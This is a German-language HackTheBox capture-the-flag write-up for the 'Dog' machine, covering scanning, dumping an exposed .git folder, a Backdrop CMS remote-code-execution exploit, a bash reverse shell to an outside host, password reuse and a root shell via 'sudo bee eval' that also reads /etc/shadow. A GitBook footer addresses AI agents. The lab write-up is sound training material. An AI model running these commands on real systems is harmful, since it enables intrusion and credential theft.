> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md).

# Dog HackTheBox-Lösungsbericht

{% embed url="<https://app.hackthebox.com/machines/Dog>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Extrahieren von Informationen aus dem .git-Ordner (Informationsleck)
* Authentifizierte Remote-Code-Ausführung (CMS Backdrop)
* Pivoting (Wiederverwendung von Passwörtern)
* Sudo-Binary bee (PHP-Code ausführen) (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/ce4e5d19f9a904c627287eae5f9c418b66992314" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/cfa7fa7517c56cf14d4a189a4b718f165ebdb463" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.58 -oG allPorts
```

<figure><img src="/files/79b4dcb1a41e2ff48f6291d48c859dfc5a5d5c95" alt=""><figcaption></figcaption></figure>

**Versionsscan der Ports mit Nmap 22.80:**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.11.58 -oN targeted 
```

<figure><img src="/files/8d5629699a1f709d314535f84b3fcfd56e932d44" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="/files/8104a2f29d258fe3e772b0c4ad8ea6e0dfd2b5b0" alt=""><figcaption></figcaption></figure>

Wir entdecken eine **.git** Verzeichnis, was auf ein potenziell öffentlich zugängliches Git-Repository hinweist. Die Website verwendet das **Backdrop** CMS.

<figure><img src="/files/2c57ea9d09cf6919e3351839fdc2efc0cf14004e" alt=""><figcaption></figcaption></figure>

**Aufzählung mit Gobuster**

```bash
gobuster dir -u http://10.10.11.58 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Wir finden mehrere interessante Verzeichnisse, darunter **.git**.

<figure><img src="/files/90264d9e2de8053cbc2cb9ab6bff540bb23a7897" alt=""><figcaption></figcaption></figure>

**Git-Repository-Dump**

Wir rufen den Inhalt des Repositories mit folgendem Befehl ab:

```git
git-dumper http://10.10.11.58/.git .git
```

<figure><img src="/files/0d7b7817f90375a7b633a1b7711d21eb02104190" alt=""><figcaption></figcaption></figure>

Wir finden einen **settings.php** Datei mit einem Passwort:

<figure><img src="/files/a337f049924377dfaa1193d64abee08dd19643cd" alt=""><figcaption></figcaption></figure>

Wir durchsuchen gespeicherte E-Mails mit:

```bash
find .git -type f -exec grep -E '@dog' {} +
```

Wir finden die folgende E-Mail: **<tiffany@dog.htb>**.

<figure><img src="/files/93054eaa0399536538c0a38caca0eb9e4d46f69f" alt=""><figcaption></figcaption></figure>

## **Ausnutzung von Backdrop CMS (RCE)**

Wir verwenden die gefundenen Anmeldedaten, um uns mit dem CMS zu verbinden.

<figure><img src="/files/2edc493fe98b86becf64906b3a85950622882d60" alt=""><figcaption></figcaption></figure>

**Nach Schwachstellen suchen**

Mit **searchsploit**, identifizieren wir eine RCE-Schwachstelle:

```bash
searchsploit -m php/webapps/52021.py
```

<figure><img src="/files/0b3e3bfd48724ca7f03151838db2fa17f3a1768d" alt=""><figcaption></figcaption></figure>

Wir führen den Exploit aus:

```bash
python3 52021.py http://10.10.11.58
```

Dadurch wird eine ZIP-Datei erzeugt, die eine PHP-Shell enthält.

<figure><img src="/files/d84c9c5fe8c5ecf7ff0c12e39ebd099c860a0da8" alt=""><figcaption></figcaption></figure>

Wir komprimieren die Shell dann zu **tar.gz**:

```bash
tar -czvf shell.tar.gz shell
```

<figure><img src="/files/b94a71215e44ace887ac60b30ee7c26ce1d8ee67" alt=""><figcaption></figcaption></figure>

Wir schleusen es ein über **admin / installer / manual**.

<figure><img src="/files/0cc86cc8be682f89aaef124bec15c47ea9962db9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/69e625c94b0a00c0753af7b3fd0b854071ea86be" alt=""><figcaption></figcaption></figure>

**Auftragsabwicklung**

Wir finden einen Ordner **modules/cmd/** mit **cmd.php**

<figure><img src="/files/80111f1e87372388f46840831f0d6f6fbeffcd79" alt=""><figcaption></figcaption></figure>

wodurch wir Befehle ausführen können:

```bash
ifconfig 
```

<figure><img src="/files/f41fdbefba9427fc8055147165dea311c4f30708" alt=""><figcaption></figcaption></figure>

### **Reverse Shell von Backdrop CMS**

Wir starten einen Listener auf Port 443:

```bash
nc -nlvp 443 
```

Wir schleusen eine Payload ein:

```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

<figure><img src="/files/d23ab15846198b47114ce5add051324af006d89d" alt=""><figcaption></figcaption></figure>

Sobald die Verbindung hergestellt ist, stabilisieren wir unsere Shell:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## **Privilegieneskalation**

### **Pivoting zum Benutzer johncusack**

Wir listen Benutzer mit einer gültigen Bash-Shell auf:

```bash
cat /etc/passwd | grep "/bash"
```

Wir finden **root, jobert und johncusack**.

<figure><img src="/files/0837ea75706ca82d8e7816fe35142a17c0df3d89" alt=""><figcaption></figcaption></figure>

Wir versuchen, die Anmeldedaten wiederzuverwenden und erhalten Zugriff mit:

```bash
su johncusack
BackDropJ2024DS2024
```

<figure><img src="/files/112ddda68e464c2095597d6f7353d00854d7422a" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="/files/7a47da87527e7179f774f1560da09ce1662fd99b" alt="" width="557"><figcaption></figcaption></figure>

### **Privilegieneskalation mit dem Bee-Binary**

Wir überprüfen die sudo-Berechtigungen:

```bash
sudo -l
```

Wir können ausführen **/usr/local/bin/bee** als root ausgeführt werden.

<figure><img src="/files/f778eb5e9cab856303acfb1b62ef8854c716a7d4" alt=""><figcaption></figcaption></figure>

**Analyse von Bee**

{% hint style="info" %}
Bee ist ein Administrationswerkzeug für **Backdrop CMS**, ähnlich wie **Drush** für Drupal. Es ermöglicht die Ausführung verschiedener Befehle.
{% endhint %}

`Verwendung: bee [global-options] [options] [arguments]`

<figure><img src="/files/84d1a7b35478181c6729e552c3c1a09c81537419" alt=""><figcaption></figcaption></figure>

Wir identifizieren die **eval** -Option, die das Ausführen beliebigen PHP-Codes ermöglicht.

<figure><img src="/files/4637853acf1e51392ea72b23435342aa8cb2eaa0" alt=""><figcaption></figcaption></figure>

**Lesen `/etc/shadow`**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'echo shell_exec("cat /etc/shadow 2>&1");'
```

{% endcode %}

<figure><img src="/files/bd14fcca631a912ade377f7ab6d0c7807ece0424" alt=""><figcaption></figcaption></figure>

**Root-Shell erlangt**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'shell_exec("/bin/bash -p");'
```

{% endcode %}

<figure><img src="/files/fa3ad7a4a0e3ed03f39c482fff209345333eec84" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a2b9fa85832ca7b35f5e2e42ccfebce34e8a1a97" alt="" width="398"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
